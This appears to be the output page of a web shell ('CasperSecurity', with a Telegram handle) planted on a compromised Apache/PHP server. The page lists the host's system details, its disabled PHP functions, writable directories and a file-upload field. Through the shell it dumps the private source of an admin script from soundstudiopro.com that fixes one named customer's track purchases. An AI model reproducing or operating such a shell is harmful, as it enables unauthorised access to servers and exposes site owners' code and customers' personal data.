T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/fix_user_5_purchases.php
<?php
/**
 * Fix missing purchases for user ID 5 (Stephane Bergeron)
 * Credits are NOT for purchasing tracks - only Stripe payments are valid
 * This script helps identify and fix missing Stripe purchases
 */

session_start();
require_once 'config/database.php';

// Check if admin
if (!isset($_SESSION['is_admin']) || !$_SESSION['is_admin']) {
    die("Admin access required");
}

$pdo = getDBConnection();
$user_id = 5;

echo "<h2>Fix User ID 5 (Stephane Bergeron) Purchases</h2>";
echo "<style>
    body { font-family: Arial; padding: 20px; background: #1a1a1a; color: white; }
    table { border-collapse: collapse; width: 100%; margin: 20px 0; background: #2a2a2a; }
    th, td { border: 1px solid #444; padding: 10px; text-align: left; }
    th { background: #667eea; color: white; }
    .success { color: #48bb78; }
    .error { color: #e53e3e; }
    .warning { color: #ffc107; }
    .info { color: #667eea; }
    .section { margin: 30px 0; padding: 20px; background: #2a2a2a; border-radius: 8px; }
</style>";

// Get user info
$stmt = $pdo->prepare("SELECT id, name FROM users WHERE id = ?");
$stmt->execute([$user_id]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);

echo "<div class='section'>";
echo "<h3>Fixing purchases for: {$user['name']} (ID: {$user['id']})</h3>";
echo "<p class='warning'><strong>⚠️ IMPORTANT:</strong> Credits are NOT for purchasing tracks. Only Stripe payments are valid.</p>";
echo "</div>";

// First, check for invalid "credits" purchases
echo "<div class='section'>";
echo "<h3>⚠️ Invalid 'Credits' Purchases (Should Not Exist)</h3>";
$invalid_purchases = $pdo->prepare("
    SELECT * FROM track_purchases 
    WHERE user_id = ? AND payment_method = 'credits'
    ORDER BY purchase_date DESC
");
$invalid_purchases->execute([$user_id]);
$credits_purchases = $invalid_purchases->fetchAll(PDO::FETCH_ASSOC);

if (!empty($credits_purchases)) {
    echo "<p class='error'>Found " . count($credits_purchases) . " invalid purchase(s) made with credits:</p>";
    echo "<table>";
    echo "<tr><th>Purchase ID</th><th>Track ID</th><th>Price</th><th>Date</th><th>Action</th></tr>";
    foreach ($credits_purchases as $p) {
        echo "<tr>";
        echo "<td>{$p['id']}</td>";
        echo "<td>{$p['track_id']}</td>";
        echo "<td>\${$p['price_paid']}</td>";
        echo "<td>{$p['purchase_date']}</td>";
        echo "<td><span class='error'>Invalid - credits can't purchase tracks</span></td>";
        echo "</tr>";
    }
    echo "</table>";
    echo "<p class='warning'>These purchases should be investigated - they may need to be converted to Stripe purchases or refunded.</p>";
} else {
    echo "<p class='success'>✓ No invalid credits purchases found</p>";
}
echo "</div>";

// Get all purchases that might be missing from user_library or sales
$stmt = $pdo->prepare("
    SELECT 
        tp.*,
        mt.title as track_title,
        mt.user_id as track_creator_id,
        mt.price as track_price,
        u.name as track_creator_name,
        u.plan as track_creator_plan
    FROM track_purchases tp
    JOIN music_tracks mt ON tp.track_id = mt.id
    JOIN users u ON mt.user_id = u.id
    WHERE tp.user_id = ?
    ORDER BY tp.purchase_date DESC
");
$stmt->execute([$user_id]);
$purchases = $stmt->fetchAll(PDO::FETCH_ASSOC);

echo "<div class='section'>";
echo "<h3>Found " . count($purchases) . " purchase(s) to check</h3>";

foreach ($purchases as $purchase) {
    echo "<hr>";
    echo "<h4>Purchase ID: {$purchase['id']} | Track ID: {$purchase['track_id']} | Title: " . htmlspecialchars($purchase['track_title'] ?: 'N/A') . "</h4>";
    
    $track_id = $purchase['track_id'];
    $track_price = $purchase['track_price'] ?: $purchase['price_paid'];
    
    // Check if in user_library
    $check_library = $pdo->prepare("SELECT id FROM user_library WHERE user_id = ? AND track_id = ?");
    $check_library->execute([$user_id, $track_id]);
    $in_library = $check_library->fetch();
    
    // Check if in sales
    $check_sales = $pdo->prepare("SELECT id FROM sales WHERE buyer_id = ? AND track_id = ?");
    $check_sales->execute([$user_id, $track_id]);
    $in_sales = $check_sales->fetch();
    
    echo "<p>In user_library: " . ($in_library ? "<span class='success'>✓ Yes (ID: {$in_library['id']})</span>" : "<span class='error'>✗ No</span>") . "</p>";
    echo "<p>In sales: " . ($in_sales ? "<span class='success'>✓ Yes (ID: {$in_sales['id']})</span>" : "<span class='error'>✗ No</span>") . "</p>";
    
    if (!$in_library || !$in_sales) {
        echo "<p class='warning'>⚠️ Missing records detected. Fixing...</p>";
        
        $pdo->beginTransaction();
        
        try {
            // Add to user_library if missing
            if (!$in_library) {
                $stmt = $pdo->prepare("
                    INSERT IGNORE INTO user_library (user_id, track_id, purchase_date)
                    VALUES (?, ?, ?)
                ");
                $stmt->execute([$user_id, $track_id, $purchase['purchase_date']]);
                echo "<p class='success'>✅ Added to user_library</p>";
            }
            
            // Add to sales if missing
            if (!$in_sales) {
                $is_free_user_track = (strtolower($purchase['track_creator_plan']) === 'free');
                $revenue_recipient = $is_free_user_track ? 'platform' : 'artist';
                $recipient_id = $is_free_user_track ? 1 : $purchase['track_creator_id'];
                
                $stmt = $pdo->prepare("
                    INSERT INTO sales (
                        track_id, buyer_id, artist_id, amount, quantity, 
                        revenue_recipient, recipient_id, is_free_user_track, 
                        created_at
                    ) VALUES (?, ?, ?, ?, 1, ?, ?, ?, ?)
                ");
                $stmt->execute([
                    $track_id,
                    $user_id,
                    $purchase['track_creator_id'],
                    $track_price,
                    $revenue_recipient,
                    $recipient_id,
                    $is_free_user_track ? 1 : 0,
                    $purchase['purchase_date']
                ]);
                echo "<p class='success'>✅ Added to sales</p>";
            }
            
            $pdo->commit();
            echo "<p class='success'><strong>✅ Purchase fixed successfully!</strong></p>";
            
        } catch (Exception $e) {
            $pdo->rollBack();
            echo "<p class='error'>✗ Error: " . htmlspecialchars($e->getMessage()) . "</p>";
        }
    } else {
        echo "<p class='success'>✓ All records present - no action needed</p>";
    }
}

echo "</div>";

// Summary
echo "<div class='section'>";
echo "<h3>Summary</h3>";
$final_library = $pdo->prepare("SELECT COUNT(*) FROM user_library WHERE user_id = ?");
$final_library->execute([$user_id]);
$library_count = $final_library->fetchColumn();

$final_sales = $pdo->prepare("SELECT COUNT(*) FROM sales WHERE buyer_id = ?");
$final_sales->execute([$user_id]);
$sales_count = $final_sales->fetchColumn();

echo "<p>Total purchases: " . count($purchases) . "</p>";
echo "<p>Tracks in library: <strong>{$library_count}</strong></p>";
echo "<p>Sales records: <strong>{$sales_count}</strong></p>";

if ($library_count == count($purchases) && $sales_count == count($purchases)) {
    echo "<p class='success'><strong>✅ All purchases are now properly recorded!</strong></p>";
} else {
    echo "<p class='warning'>⚠️ Some records may still be missing. Please review.</p>";
}

echo "</div>";

echo "<hr>";
echo "<p><a href='/admin.php?tab=tracks' style='color: #667eea;'>← Back to Admin</a> | ";
echo "<a href='/account_settings.php?tab=purchases' style='color: #667eea;'>View Purchases</a> | ";
echo "<a href='/artist_profile.php?id={$user_id}' style='color: #667eea;'>View Artist Profile</a></p>";
?>


CasperSecurity Mini